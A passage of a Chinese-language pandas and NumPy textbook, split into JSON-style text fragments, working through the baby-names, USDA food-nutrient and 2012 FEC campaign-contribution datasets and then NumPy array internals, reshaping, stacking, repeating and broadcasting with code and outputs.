rot=0, ax=axes[1], title='Female', legend=False) 434 可以看出，从20世纪60年代开始，以字母\"n\"结尾的男孩名字出现了显著的增长。 回到之前创建的 那个完整表，按年度和性别对其进行规范化处理，并在男孩名字中选取几个字母，最后进行转置以 便将各个列做成一个时间序列： In [138]: letter_prop = table / table.sum() In [139]: dny_ts = letter_prop.loc[['d', 'n', 'y'], 'M'].T In [140]: dny_ts.head() Out[140]: last_letter d n y year 1880 0.083055 0.153213 0.075760 1881 0.083247 0.153214 0.077451 1882 0.085340 0.149560 0.077537 1883 0.084066 0.151646 0.079144 1884 0.086120 0.149915 0.080405 有了这个时间序列的DataFrame之后，就可以通过其plot方法绘制出一张趋势图了（如图14-9所 示）： 435 In [143]: dny_ts.plot() 变成女孩名字的男孩名字（以及相反的情况） 另一个有趣的趋势是，早年流行于男孩的名字近年来“变性了”，例如Lesley或Leslie。 回到top1000 数据集，找出其中以\"lesl\"开头的一组名字： In [144]: all_names = pd.Series(top1000.name.unique()) In [145]: lesley_like = all_names[all_names.str.lower().str.contains('lesl')] In [146]: lesley_like Out[146]: 632 Leslie 2294 Lesley 4262 Leslee 4728 Lesli 6103 Lesly dtype: object 然后利用这个结果过滤其他的名字，并按名字分组计算出生数以查看相对频率： 436 In [147]: filtered = top1000[top1000.name.isin(lesley_like)] In [148]: filtered.groupby('name').births.sum() Out[148]: name Leslee 1082 Lesley 35022 Lesli 929 Leslie 370429 Lesly 10067 Name: births, dtype: int64 接下来，我们按性别和年度进行聚合，并按年度进行规范化处理： In [149]: table = filtered.pivot_table('births', index='year', .....: columns='sex', aggfunc='sum') In [150]: table = table.div(table.sum(1), axis=0) In [151]: table.tail() Out[151]: sex F M year 2006 1.0 NaN 2007 1.0 NaN 2008 1.0 NaN 2009 1.0 NaN 2010 1.0 NaN 最后，就可以轻松绘制一张分性别的年度曲线图了（如图2-10所示）： In [153]: table.plot(style={'M': 'k-', 'F': 'k--'}) 437 14.4 USDA 食品数据库 美国农业部（USDA）制作了一份有关食物营养信息的数据库。"},
    {"text": "Ashley Williams制作了该数据的 JSON版 \"value\": 20.8, \"units\": \"g\", \"description\": \"Protein\", \"group\": \"Composition\" }, ... ] } 每种食物都带有若干标识性属性以及两个有关营养成分和分量的列表。"},
    {"text": "我用的是Python内置的json模块： In [154]: import json In [155]: db = json.load(open('datasets/usda_food/database.json')) In [156]: len(db) Out[156]: 6636 db中的每个条目都是一个含有某种食物全部数据的字典。"},
    {"text": "nutrients字段是一个字典列表，其中的每 个字典对应一种营养成分： In [157]: db[0].keys() Out[157]: dict_keys(['id', 'description', 'tags', 'manufacturer', 'group', 'porti ons', 'nutrients']) In [158]: db[0]['nutrients'][0] Out[158]: {'description': 'Protein', 'group': 'Composition', 'units': 'g', 'value': 25.18} In [159]: nutrients = pd.DataFrame(db[0]['nutrients']) In [160]: nutrients[:7] Out[160]: description group units value 0 Protein Composition g 25.18 1 Total lipid (fat) Composition g 29.20 2 Carbohydrate, by difference Composition g 3.06 3 Ash Other g 3.28 4 Energy Energy kcal 376.00 439 5 Water Composition g 39.28 6 Energy Energy kJ 1573.00 在将字典列表转换为DataFrame时，可以只抽取其中的一部分字段。 这里，我们将取出食物的名 称、分类、编号以及制造商等信息： In [161]: info_keys = ['description', 'group', 'id', 'manufacturer'] In [162]: info = pd.DataFrame(db, columns=info_keys) In [163]: info[:5] Out[163]: description group id \\ 0 Cheese, caraway Dairy and Egg Products 1008 1 Cheese, cheddar Dairy and Egg Products 1009 2 Cheese, edam Dairy and Egg Products 1018 3 Cheese, feta Dairy and Egg Products 1019 4 Cheese, mozzarella, part skim milk Dairy and Egg Products 1028 manufacturer 0 1 2 3 4 In [164]: info.info() <class 'pandas.core.frame.DataFrame'> RangeIndex: 6636 entries, 0 to 6635 Data columns (total 4 columns): description 6636 non-null object group 6636 non-null object id 6636 non-null int64 manufacturer 5195 non-null object dtypes: int64(1), object(3) memory usage: 207.5+ KB 通过value_counts，你可以查看食物类别的分布情况： In [165]: pd.value_counts(info.group)[:10] Out[165]: Vegetables and Vegetable Products 812 Beef Products 618 Baked Products 496 Breakfast Cereals 403 Fast Foods 365 Legumes and Legume Products 365 Lamb, Veal, and Game Products 345 440 Sweets 341 Pork Products 328 Fruits and Fruit Juices 328 Name: group, dtype: int64 现在，为了对全部营养数据做一些分析，最简单的办法是将所有食物的营养成分整合到一个大表 中。"},
    {"text": "最后通过concat将这些东西连接起 来就可以了： 顺利的话，nutrients的结果是： In [167]: nutrients Out[167]: description group units value id 0 Protein Composition g 25.180 1008 1 Total lipid (fat) Composition g 29.200 1008 2 Carbohydrate, by difference Composition g 3.060 1008 3 Ash Other g 3.280 1008 4 Energy Energy kcal 376.000 1008 ... ... ... ... ... ... 389350 Vitamin B-12, added Vitamins mcg 0.000 43546 389351 Cholesterol Other mg 0.000 43546 389352 Fatty acids, total saturated Other g 0.072 43546 389353 Fatty acids, total monounsaturated Other g 0.028 43546 389354 Fatty acids, total polyunsaturated Other g 0.041 43546 [389355 rows x 5 columns] 我发现这个DataFrame中无论如何都会有一些重复项，所以直接丢弃就可以了： In [168]: nutrients.duplicated().sum() # number of duplicates Out[168]: 14179 In [169]: nutrients = nutrients.drop_duplicates() 由于两个DataFrame对象中都有\"group\"和\"description\"，所以为了明确到底谁是谁，我们需要对它 们进行重命名： In [170]: col_mapping = {'description' : 'food', .....: 'group' : 'fgroup'} In [171]: info = info.rename(columns=col_mapping, copy=False) In [172]: info.info() <class 'pandas.core.frame.DataFrame'> 441 RangeIndex: 6636 entries, 0 to 6635 Data columns (total 4 columns): food 6636 non-null object fgroup 6636 non-null object id 6636 non-null int64 manufacturer 5195 non-null object dtypes: int64(1), object(3) memory usage: 207.5+ KB In [173]: col_mapping = {'description' : 'nutrient', .....: 'group' : 'nutgroup'} In [174]: nutrients = nutrients.rename(columns=col_mapping, copy=False) In [175]: nutrients Out[175]: nutrient nutgroup units value id 0 Protein Composition g 25.180 1008 1 Total lipid (fat) Composition g 29.200 1008 2 Carbohydrate, by difference Composition g 3.060 1008 3 Ash Other g 3.280 1008 4 Energy Energy kcal 376.000 1008 ... ... ... ... ... ... 389350 Vitamin B-12, added Vitamins mcg 0.000 43546 389351 Cholesterol Other mg 0.000 43546 389352 Fatty acids, total saturated Other g 0.072 43546 389353 Fatty acids, total monounsaturated Other g 0.028 43546 389354 Fatty acids, total polyunsaturated Other g 0.041 43546 [375176 rows x 5 columns] 做完这些，就可以将info跟nutrients合并起来： In [176]: ndata = pd.merge(nutrients, info, on='id', how='outer') In [177]: ndata.info() <class 'pandas.core.frame.DataFrame'> Int64Index: 375176 entries, 0 to 375175 Data columns (total 8 columns): nutrient 375176 non-null object nutgroup 375176 non-null object units 375176 non-null object value 375176 non-null float64 id 375176 non-null int64 food 375176 non-null object fgroup 375176 non-null object manufacturer 293054 non-null object dtypes: float64(1), int64(1), object(6) memory usage: 25.8+ MB 442 In [178]: ndata.iloc[30000] Out[178]: nutrient Glycine nutgroup Amino Acids units g value 0.04 id 6158 food Soup, tomato bisque, canned, condensed fgroup Soups, Sauces, and Gravies manufacturer Name: 30000, dtype: object 我们现在可以根据食物分类和营养类型画出一张中位值图（如图14-11所示）： In [180]: result = ndata.groupby(['nutrient', 'fgroup'])['value'].quantile(0.5) In [181]: result['Zinc, Zn'].sort_values().plot(kind='barh') 只要稍微动一动脑子，就可以发现各营养成分最为丰富的食物是什么了： by_nutrient = ndata.groupby(['nutgroup', 'nutrient']) get_maximum = lambda x: x.loc[x.value.idxmax()] get_minimum = lambda x: x.loc[x.value.idxmin()] max_foods = by_nutrient.apply(get_maximum)[['value', 'food']] # make the food a little smaller max_foods.food = max_foods.food.str[:50] 443 由于得到的DataFrame很大，所以不方便在书里面全部打印出来。"},
    {"text": "这里只给出\"Amino Acids\"营养 分组： In [183]: max_foods.loc['Amino Acids']['food'] Out[183]: nutrient Alanine Gelatins, dry powder, unsweetened Arginine Seeds, sesame flour, low-fat Aspartic acid Soy protein isolate Cystine Seeds, cottonseed flour, low fat (glandless) Glutamic acid Soy protein isolate ... Serine Soy protein isolate, PROTEIN TECHNOLOGIES INTE... Threonine Soy protein isolate, PROTEIN TECHNOLOGIES INTE... Tryptophan Sea lion, Steller, meat with fat (Alaska Native) Tyrosine Soy protein isolate, PROTEIN TECHNOLOGIES INTE... Valine Soy protein isolate, PROTEIN TECHNOLOGIES INTE... Name: food, Length: 19, dtype: object 14.5 2012 联邦选举委员会数据库 美国联邦选举委员会发布了有关政治竞选赞助方面的数据。"},
    {"text": "我们对2012年美国总统大选的数据集比较感兴趣 In [184]: fec = pd.read_csv('datasets/fec/P00000001-ALL.csv') In [185]: fec.info() <class 'pandas.core.frame.DataFrame'> RangeIndex: 1001731 entries, 0 to 1001730 Data columns (total 16 columns): cmte_id 1001731 non-null object cand_id 1001731 non-null object cand_nm 1001731 non-null object contbr_nm 1001731 non-null object contbr_city 1001712 non-null object contbr_st 1001727 non-null object contbr_zip 1001620 non-null object contbr_employer 988002 non-null object contbr_occupation 993301 non-null object contb_receipt_amt 1001731 non-null float64 contb_receipt_dt 1001731 non-null object receipt_desc 14166 non-null object memo_cd 92482 non-null object memo_text 97770 non-null object 444 form_tp 1001731 non-null object file_num 1001731 non-null int64 dtypes: float64(1), int64(1), object(14) memory usage: 122.3+ MB 该DataFrame中的记录如下所示： In [186]: fec.iloc[123456] Out[186]: cmte_id C00431445 cand_id P80003338 cand_nm Obama, Barack contbr_nm ELLMAN, IRA contbr_city TEMPE ... receipt_desc NaN memo_cd NaN memo_text NaN form_tp SA17A file_num 772372 Name: 123456, Length: 16, dtype: object 你可能已经想出了许多办法从这些竞选赞助数据中抽取有关赞助人和赞助模式的统计信息。"},
    {"text": "通过unique，你可以获取全部的候选 人名单： In [187]: unique_cands = fec.cand_nm.unique() In [188]: unique_cands Out[188]: array(['Bachmann, Michelle', 'Romney, Mitt', 'Obama, Barack', \"Roemer, Charles E. 'Buddy' III\", 'Pawlenty, Timothy', 'Johnson, Gary Earl', 'Paul, Ron', 'Santorum, Rick', 'Cain, Herman', 'Gingrich, Newt', 'McCotter, Thaddeus G', 'Huntsman, Jon', 'Perry, Rick'], dtype=object) In [189]: unique_cands[2] Out[189]: 'Obama, Barack' 指明党派信息的方法之一是使用字典： parties = {'Bachmann, Michelle': 'Republican', 'Cain, Herman': 'Republican', 'Gingrich, Newt': 'Republican', 445 'Huntsman, Jon': 'Republican', 'Johnson, Gary Earl': 'Republican', 'McCotter, Thaddeus G': 'Republican', 'Obama, Barack': 'Democrat', 'Paul, Ron': 'Republican', 'Pawlenty, Timothy': 'Republican', 'Perry, Rick': 'Republican', \"Roemer, Charles E. 'Buddy' III\": 'Republican', 'Romney, Mitt': 'Republican', 'Santorum, Rick': 'Republican'} 现在，通过这个映射以及Series对象的map方法，你可以根据候选人姓名得到一组党派信息： In [191]: fec.cand_nm[123456:123461] Out[191]: 123456 Obama, Barack 123457 Obama, Barack 123458 Obama, Barack 123459 Obama, Barack 123460 Obama, Barack Name: cand_nm, dtype: object In [192]: fec.cand_nm[123456:123461].map(parties) Out[192]: 123456 Democrat 123457 Democrat 123458 Democrat 123459 Democrat 123460 Democrat Name: cand_nm, dtype: object # Add it as a column In [193]: fec['party'] = fec.cand_nm.map(parties) In [194]: fec['party'].value_counts() Out[194]: Democrat 593746 Republican 407985 Name: party, dtype: int64 这里有两个需要注意的地方。"},
    {"text": "第一，该数据既包括赞助也包括退款（负的出资额）： In [195]: (fec.contb_receipt_amt > 0).value_counts() Out[195]: True 991475 False 10256 Name: contb_receipt_amt, dtype: int64 446 为了简化分析过程，我限定该数据集只能有正的出资额： In [196]: fec = fec[fec.contb_receipt_amt > 0] 由于Barack Obama和Mitt Romney是最主要的两名候选人，所以我还专门准备了一个子集，只包 含针对他们两人的竞选活动的赞助信息： In [197]: fec_mrbo = fec[fec.cand_nm.isin(['Obama, Barack','Romney, Mitt'])] 根据职业和雇主统计赞助信息 基于职业的赞助信息统计是另一种经常被研究的统计任务。"},
    {"text": "首先，根据职业计算 出资总额，这很简单： In [198]: fec.contbr_occupation.value_counts()[:10] Out[198]: RETIRED 233990 INFORMATION REQUESTED 35107 ATTORNEY 34286 HOMEMAKER 29931 PHYSICIAN 23432 INFORMATION REQUESTED PER BEST EFFORTS 21138 ENGINEER 14334 TEACHER 13990 CONSULTANT 13273 PROFESSOR 12555 Name: contbr_occupation, dtype: int64 不难看出，许多职业都涉及相同的基本工作类型，或者同一样东西有多种变体。"},
    {"text": "注意，这里巧妙地利用了dict.get，它 允许没有映射关系的职业也能“通过”： occ_mapping = { 'INFORMATION REQUESTED PER BEST EFFORTS' : 'NOT PROVIDED', 'INFORMATION REQUESTED' : 'NOT PROVIDED', 'INFORMATION REQUESTED (BEST EFFORTS)' : 'NOT PROVIDED', 'C.E.O.': 'CEO' } # If no mapping provided, return x f = lambda x: occ_mapping.get(x, x) fec.contbr_occupation = fec.contbr_occupation.map(f) 447 我对雇主信息也进行了同样的处理： emp_mapping = { 'INFORMATION REQUESTED PER BEST EFFORTS' : 'NOT PROVIDED', 'INFORMATION REQUESTED' : 'NOT PROVIDED', 'SELF' : 'SELF-EMPLOYED', 'SELF EMPLOYED' : 'SELF-EMPLOYED', } # If no mapping provided, return x f = lambda x: emp_mapping.get(x, x) fec.contbr_employer = fec.contbr_employer.map(f) 现在，你可以通过pivot_table根据党派和职业对数据进行聚合，然后过滤掉总出资额不足200万美 元的数据： In [201]: by_occupation = fec.pivot_table('contb_receipt_amt', .....: index='contbr_occupation', .....: columns='party', aggfunc='sum') In [202]: over_2mm = by_occupation[by_occupation.sum(1) > 2000000] In [203]: over_2mm Out[203]: party Democrat Republican contbr_occupation ATTORNEY 11141982.97 7.477194e+06 CEO 2074974.79 4.211041e+06 CONSULTANT 2459912.71 2.544725e+06 ENGINEER 951525.55 1.818374e+06 EXECUTIVE 1355161.05 4.138850e+06 ... ... ... PRESIDENT 1878509.95 4.720924e+06 PROFESSOR 2165071.08 2.967027e+05 REAL ESTATE 528902.09 1.625902e+06 RETIRED 25305116.38 2.356124e+07 SELF-EMPLOYED 672393.40 1.640253e+06 [17 rows x 2 columns] 把这些数据做成柱状图看起来会更加清楚（'barh'表示水平柱状图，如图14-12所示）： In [205]: over_2mm.plot(kind='barh') 448 你可能还想了解一下对Obama和Romney总出资额最高的职业和企业。 为此，我们先对候选人进行 分组，然后使用本章前面介绍的类似top的方法： def get_top_amounts(group, key, n=5): totals = group.groupby(key)['contb_receipt_amt'].sum() return totals.nlargest(n) 然后根据职业和雇主进行聚合： In [207]: grouped = fec_mrbo.groupby('cand_nm') In [208]: grouped.apply(get_top_amounts, 'contbr_occupation', n=7) Out[208]: cand_nm contbr_occupation Obama, Barack RETIRED 25305116.38 ATTORNEY 11141982.97 INFORMATION REQUESTED 4866973.96 HOMEMAKER 4248875.80 PHYSICIAN 3735124.94 ... Romney, Mitt HOMEMAKER 8147446.22 ATTORNEY 5364718.82 PRESIDENT 2491244.89 EXECUTIVE 2300947.03 C.E.O. 1968386.11 Name: contb_receipt_amt, Length: 14, dtype: float64 449 In [209]: grouped.apply(get_top_amounts, 'contbr_employer', n=10) Out[209]: cand_nm contbr_employer Obama, Barack RETIRED 22694358.85 SELF-EMPLOYED 17080985.96 NOT EMPLOYED 8586308.70 INFORMATION REQUESTED 5053480.37 HOMEMAKER 2605408.54 ... Romney, Mitt CREDIT SUISSE 281150.00 MORGAN STANLEY 267266.00 GOLDMAN SACH & CO. 238250.00 BARCLAYS CAPITAL 162750.00 H.I.G. CAPITAL 139500.00 Name: contb_receipt_amt, Length: 20, dtype: float64 对出资额分组 还可以对该数据做另一种非常实用的分析：利用cut函数根据出资额的大小将数据离散化到多个面 元中： In [210]: bins = np.array([0, 1, 10, 100, 1000, 10000, .....: 100000, 1000000, 10000000]) In [211]: labels = pd.cut(fec_mrbo.contb_receipt_amt, bins) In [212]: labels Out[212]: 411 (10, 100] 412 (100, 1000] 413 (100, 1000] 414 (10, 100] 415 (10, 100] ... 701381 (10, 100] 701382 (100, 1000] 701383 (1, 10] 701384 (10, 100] 701385 (100, 1000] Name: contb_receipt_amt, Length: 694282, dtype: category Categories (8, interval[int64]): [(0, 1] < (1, 10] < (10, 100] < (100, 1000] < (1 000, 10000] < (10000, 100000] < (100000, 1000000] < (1000000, 10000000]] 现在可以根据候选人姓名以及面元标签对奥巴马和罗姆尼数据进行分组，以得到一个柱状图： 450 In [213]: grouped = fec_mrbo.groupby(['cand_nm', labels]) In [214]: grouped.size().unstack(0) Out[214]: cand_nm Obama, Barack Romney, Mitt contb_receipt_amt (0, 1] 493.0 77.0 (1, 10] 40070.0 3681.0 (10, 100] 372280.0 31853.0 (100, 1000] 153991.0 43357.0 (1000, 10000] 22284.0 26186.0 (10000, 100000] 2.0 1.0 (100000, 1000000] 3.0 NaN (1000000, 10000000] 4.0 NaN 从这个数据中可以看出，在小额赞助方面，Obama获得的数量比Romney多得多。"},
    {"text": "你还可以对出资 额求和并在面元内规格化，以便图形化显示两位候选人各种赞助额度的比例（见图14-13）： In [216]: bucket_sums = grouped.contb_receipt_amt.sum().unstack(0) In [217]: normed_sums = bucket_sums.div(bucket_sums.sum(axis=1), axis=0) In [218]: normed_sums Out[218]: cand_nm Obama, Barack Romney, Mitt contb_receipt_amt (0, 1] 0.805182 0.194818 (1, 10] 0.918767 0.081233 (10, 100] 0.910769 0.089231 (100, 1000] 0.710176 0.289824 (1000, 10000] 0.447326 0.552674 (10000, 100000] 0.823120 0.176880 (100000, 1000000] 1.000000 NaN (1000000, 10000000] 1.000000 NaN In [219]: normed_sums[:-2].plot(kind='barh') 451 我排除了两个最大的面元，因为这些不是由个人捐赠的。"},
    {"text": "根据州统计赞助信息 根据候选人和州对数据进行聚合是常规操作： In [220]: grouped = fec_mrbo.groupby(['cand_nm', 'contbr_st']) In [221]: totals = grouped.contb_receipt_amt.sum().unstack(0).fillna(0) In [222]: totals = totals[totals.sum(1) > 100000] In [223]: totals[:10] Out[223]: cand_nm Obama, Barack Romney, Mitt contbr_st AK 281840.15 86204.24 AL 543123.48 527303.51 AR 359247.28 105556.00 AZ 1506476.98 1888436.23 CA 23824984.24 11237636.60 CO 2132429.49 1506714.12 CT 2068291.26 3499475.45 DC 4373538.80 1025137.50 452 DE 336669.14 82712.00 FL 7318178.58 8338458.81 如果对各行除以总赞助额，就会得到各候选人在各州的总赞助额比例： In [224]: percent = totals.div(totals.sum(1), axis=0) In [225]: percent[:10] Out[225]: cand_nm Obama, Barack Romney, Mitt contbr_st AK 0.765778 0.234222 AL 0.507390 0.492610 AR 0.772902 0.227098 AZ 0.443745 0.556255 CA 0.679498 0.320502 CO 0.585970 0.414030 CT 0.371476 0.628524 DC 0.810113 0.189887 DE 0.802776 0.197224 FL 0.467417 0.532583 14.6 总结 我们已经完成了正文的最后一章。"},
    {"text": "简单地说，ndarray不只是一块内存和一 个dtype，它还有跨度信息，这使得数组能以各种步幅（step size）在内存中移动。 更准确地讲， ndarray内部由以下内容组成： 一个指向数据（内存或内存映射文件中的一块数据）的指针。"},
    {"text": "例如，一个10×5的数组，其形状为(10,5)： In [10]: np.ones((10, 5)).shape Out[10]: (10, 5) 一个典型的（C顺序，稍后将详细讲解）3×4×5的float64（8个字节）数组，其跨度为(160,40,8) —— 知道跨度是非常有用的，通常，跨度在一个轴上越大，沿这个轴进行计算的开销就越大： 454 In [11]: np.ones((3, 4, 5), dtype=np.float64).strides Out[11]: (160, 40, 8) 虽然NumPy用户很少会对数组的跨度信息感兴趣，但它们却是构建非复制式数组视图的重要因 素。"},
    {"text": "幸运的是， dtype都有一个超类（比如np.integer和np.floating），它们可以跟np.issubdtype函数结合使用： In [12]: ints = np.ones(10, dtype=np.uint16) In [13]: floats = np.ones(10, dtype=np.float32) In [14]: np.issubdtype(ints.dtype, np.integer) Out[14]: True In [15]: np.issubdtype(floats.dtype, np.floating) Out[15]: True 调用dtype的mro方法即可查看其所有的父类： In [16]: np.float64.mro() Out[16]: [numpy.float64, numpy.floating, numpy.inexact, numpy.number, numpy.generic, float, object] 然后得到： In [17]: np.issubdtype(ints.dtype, np.number) Out[17]: True 大部分NumPy用户完全不需要了解这些知识，但是这些知识偶尔还是能派上用场的。"},
    {"text": "例如，假设有一个一维数组，我们希 望将其重新排列为一个矩阵（结果见图A-3）： In [18]: arr = np.arange(8) In [19]: arr Out[19]: array([0, 1, 2, 3, 4, 5, 6, 7]) In [20]: arr.reshape((4, 2)) Out[20]: array([[0, 1], [2, 3], [4, 5], [6, 7]]) 456 多维数组也能被重塑： In [21]: arr.reshape((4, 2)).reshape((2, 4)) Out[21]: array([[0, 1, 2, 3], [4, 5, 6, 7]]) 作为参数的形状的其中一维可以是－1，它表示该维度的大小由数据本身推断而来： In [22]: arr = np.arange(15) In [23]: arr.reshape((5, -1)) Out[23]: array([[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]]) 与reshape将一维数组转换为多维数组的运算过程相反的运算通常称为扁平化（flattening）或散开 （raveling）： In [27]: arr = np.arange(15).reshape((5, 3)) In [28]: arr 457 Out[28]: array([[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]]) In [29]: arr.ravel() Out[29]: array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]) 如果结果中的值与原始数组相同，ravel不会产生源数据的副本。 flatten方法的行为类似于ravel， 只不过它总是返回数据的副本： In [30]: arr.flatten() Out[30]: array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]) 数组可以被重塑或散开为别的顺序。"},
    {"text": "在空间方面，这就意味着，对于一个二维数组，每行中的数据项是被存放在相邻内存位置上 的。 另一种顺序是列优先顺序，它意味着每列中的数据项是被存放在相邻内存位置上的。"},
    {"text": "图A-3对此进行了说明： In [31]: arr = np.arange(12).reshape((3, 4)) In [32]: arr Out[32]: array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) In [33]: arr.ravel() Out[33]: array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]) In [34]: arr.ravel('F') Out[34]: array([ 0, 4, 8, 1, 5, 9, 2, 6, 10, 3, 7, 11]) 458 二维或更高维数组的重塑过程比较令人费解（见图A-3）。"},
    {"text": "C和Fortran顺序的关键区别就是维度的 行进顺序： C/行优先顺序：先经过更高的维度（例如，轴1会先于轴0被处理）。 Fortran/列优先顺序：后经过更高的维度（例如，轴0会先于轴1被处理）。"},
    {"text": "数组的合并和拆分 numpy.concatenate可以按指定轴将一个由数组组成的序列（如元组、列表等）连接到一起： In [35]: arr1 = np.array([[1, 2, 3], [4, 5, 6]]) In [36]: arr2 = np.array([[7, 8, 9], [10, 11, 12]]) In [37]: np.concatenate([arr1, arr2], axis=0) Out[37]: array([[ 1, 2, 3], [ 4, 5, 6], [ 7, 8, 9], [10, 11, 12]]) In [38]: np.concatenate([arr1, arr2], axis=1) Out[38]: array([[ 1, 2, 3, 7, 8, 9], [ 4, 5, 6, 10, 11, 12]]) 459 对于常见的连接操作，NumPy提供了一些比较方便的方法（如vstack和hstack）。 因此，上面的运 算还可以表达为： In [39]: np.vstack((arr1, arr2)) Out[39]: array([[ 1, 2, 3], [ 4, 5, 6], [ 7, 8, 9], [10, 11, 12]]) In [40]: np.hstack((arr1, arr2)) Out[40]: array([[ 1, 2, 3, 7, 8, 9], [ 4, 5, 6, 10, 11, 12]]) 与此相反，split用于将一个数组沿指定轴拆分为多个数组： In [41]: arr = np.random.randn(5, 2) In [42]: arr Out[42]: array([[-0.2047, 0.4789], [-0.5194, -0.5557], [ 1.9658, 1.3934], [ 0.0929, 0.2817], [ 0.769 , 1.2464]]) In [43]: first, second, third = np.split(arr, [1, 3]) In [44]: first Out[44]: array([[-0.2047, 0.4789]]) In [45]: second Out[45]: array([[-0.5194, -0.5557], [ 1.9658, 1.3934]]) In [46]: third Out[46]: array([[ 0.0929, 0.2817], [ 0.769 , 1.2464]]) 传入到np.split的值[1,3]指示在哪个索引处分割数组。"},
    {"text": "460 堆叠辅助类： r 和 c NumPy命名空间中有两个特殊的对象——r和 c ，它们可以使数组的堆叠操作更为简洁： In [47]: arr = np.arange(6) In [48]: arr1 = arr.reshape((3, 2)) In [49]: arr2 = np.random.randn(3, 2) In [50]: np.r_[arr1, arr2] Out[50]: array([[ 0. , 1. ], [ 2. , 3. ], [ 4. , 5. ], [ 1.0072, -1.2962], [ 0.275 , 0.2289], [ 1.3529, 0.8864]]) In [51]: np.c_[np.r_[arr1, arr2], arr] Out[51]: array([[ 0. , 1. , 0. ], [ 2. , 3. , 1. ], [ 4. , 5. , 2. ], [ 1.0072, -1.2962, 3. ], [ 0.275 , 0.2289, 4. ], [ 1.3529, 0.8864, 5. ]]) 它还可以将切片转换成数组： In [52]: np.c_[1:6, -10:-5] Out[52]: array([[ 1, -10], [ 2, -9], 461 [ 3, -8], [ 4, -7], [ 5, -6]]) r和 c 的具体功能请参考其文档。"},
    {"text": "元素的重复操作： tile 和 repeat 对数组进行重复以产生更大数组的工具主要是repeat和tile这两个函数。 repeat会将数组中的各个元 素重复一定次数，从而产生一个更大的数组： In [53]: arr = np.arange(3) In [54]: arr Out[54]: array([0, 1, 2]) In [55]: arr.repeat(3) Out[55]: array([0, 0, 0, 1, 1, 1, 2, 2, 2]) 笔记：跟其他流行的数组编程语言（如MATLAB）不同，NumPy中很少需要对数组进行重复 （replicate）。"},
    {"text": "如果传入的是一组整数，则 各元素就可以重复不同的次数： In [56]: arr.repeat([2, 3, 4]) Out[56]: array([0, 0, 1, 1, 1, 2, 2, 2, 2]) 对于多维数组，还可以让它们的元素沿指定轴重复： In [57]: arr = np.random.randn(2, 2) In [58]: arr Out[58]: array([[-2.0016, -0.3718], [ 1.669 , -0.4386]]) In [59]: arr.repeat(2, axis=0) Out[59]: array([[-2.0016, -0.3718], [-2.0016, -0.3718], [ 1.669 , -0.4386], [ 1.669 , -0.4386]]) 462 注意，如果没有设置轴向，则数组会被扁平化，这可能不会是你想要的结果。 同样，在对多维进行 重复时，也可以传入一组整数，这样就会使各切片重复不同的次数： In [60]: arr.repeat([2, 3], axis=0) Out[60]: array([[-2.0016, -0.3718], [-2.0016, -0.3718], [ 1.669 , -0.4386], [ 1.669 , -0.4386], [ 1.669 , -0.4386]]) In [61]: arr.repeat([2, 3], axis=1) Out[61]: array([[-2.0016, -2.0016, -0.3718, -0.3718, -0.3718], [ 1.669 , 1.669 , -0.4386, -0.4386, -0.4386]]) tile的功能是沿指定轴向堆叠数组的副本。 你可以形象地将其想象成“铺瓷砖”： In [62]: arr Out[62]: array([[-2.0016, -0.3718], [ 1.669 , -0.4386]]) In [63]: np.tile(arr, 2) Out[63]: array([[-2.0016, -0.3718, -2.0016, -0.3718], [ 1.669 , -0.4386, 1.669 , -0.4386]]) 第二个参数是瓷砖的数量。"},
    {"text": "它可以是一个表 示“铺设”布局的元组： In [64]: arr Out[64]: array([[-2.0016, -0.3718], [ 1.669 , -0.4386]]) In [65]: np.tile(arr, (2, 1)) Out[65]: array([[-2.0016, -0.3718], [ 1.669 , -0.4386], [-2.0016, -0.3718], [ 1.669 , -0.4386]]) In [66]: np.tile(arr, (3, 2)) Out[66]: array([[-2.0016, -0.3718, -2.0016, -0.3718], 463 [ 1.669 , -0.4386, 1.669 , -0.4386], [-2.0016, -0.3718, -2.0016, -0.3718], [ 1.669 , -0.4386, 1.669 , -0.4386], [-2.0016, -0.3718, -2.0016, -0.3718], [ 1.669 , -0.4386, 1.669 , -0.4386]]) 花式索引的等价函数： take 和 put 在第4章中我们讲过，获取和设置数组子集的一个办法是通过整数数组使用花式索引： In [67]: arr = np.arange(10) * 100 In [68]: inds = [7, 1, 2, 6] In [69]: arr[inds] Out[69]: array([700, 100, 200, 600]) ndarray还有其它方法用于获取单个轴向上的选区： In [70]: arr.take(inds) Out[70]: array([700, 100, 200, 600]) In [71]: arr.put(inds, 42) In [72]: arr Out[72]: array([ 0, 42, 42, 300, 400, 500, 42, 42,800, 900]) In [73]: arr.put(inds, [40, 41, 42, 43]) In [74]: arr Out[74]: array([ 0, 41, 42, 300, 400, 500, 43, 40, 800, 900]) 要在其它轴上使用take，只需传入axis关键字即可： In [75]: inds = [2, 0, 2, 1] In [76]: arr = np.random.randn(2, 4) In [77]: arr Out[77]: array([[-0.5397, 0.477 , 3.2489, -1.0212], [-0.5771, 0.1241, 0.3026, 0.5238]]) In [78]: arr.take(inds, axis=1) Out[78]: 464 array([[ 3.2489, -0.5397, 3.2489, 0.477 ], [ 0.3026, -0.5771, 0.3026, 0.1241]]) put不接受axis参数，它只会在数组的扁平化版本（一维，C顺序）上进行索引。"},
    {"text": "将标量值跟数组合并时就会发生最简单 的广播： In [79]: arr = np.arange(5) In [80]: arr Out[80]: array([0, 1, 2, 3, 4]) In [81]: arr * 4 Out[81]: array([ 0, 4, 8, 12, 16]) 这里我们说：在这个乘法运算中，标量值4被广播到了其他所有的元素上。"},
    {"text": "这个问题解决起 来非常简单： In [82]: arr = np.random.randn(4, 3) In [83]: arr.mean(0) Out[83]: array([-0.3928, -0.3824, -0.8768]) In [84]: demeaned = arr - arr.mean(0) In [85]: demeaned Out[85]: array([[ 0.3937, 1.7263, 0.1633], [-0.4384, -1.9878, -0.9839], [-0.468 , 0.9426, -0.3891], [ 0.5126, -0.6811, 1.2097]]) In [86]: demeaned.mean(0) Out[86]: array([-0., 0., -0.]) 465 图A-4形象地展示了该过程。"},
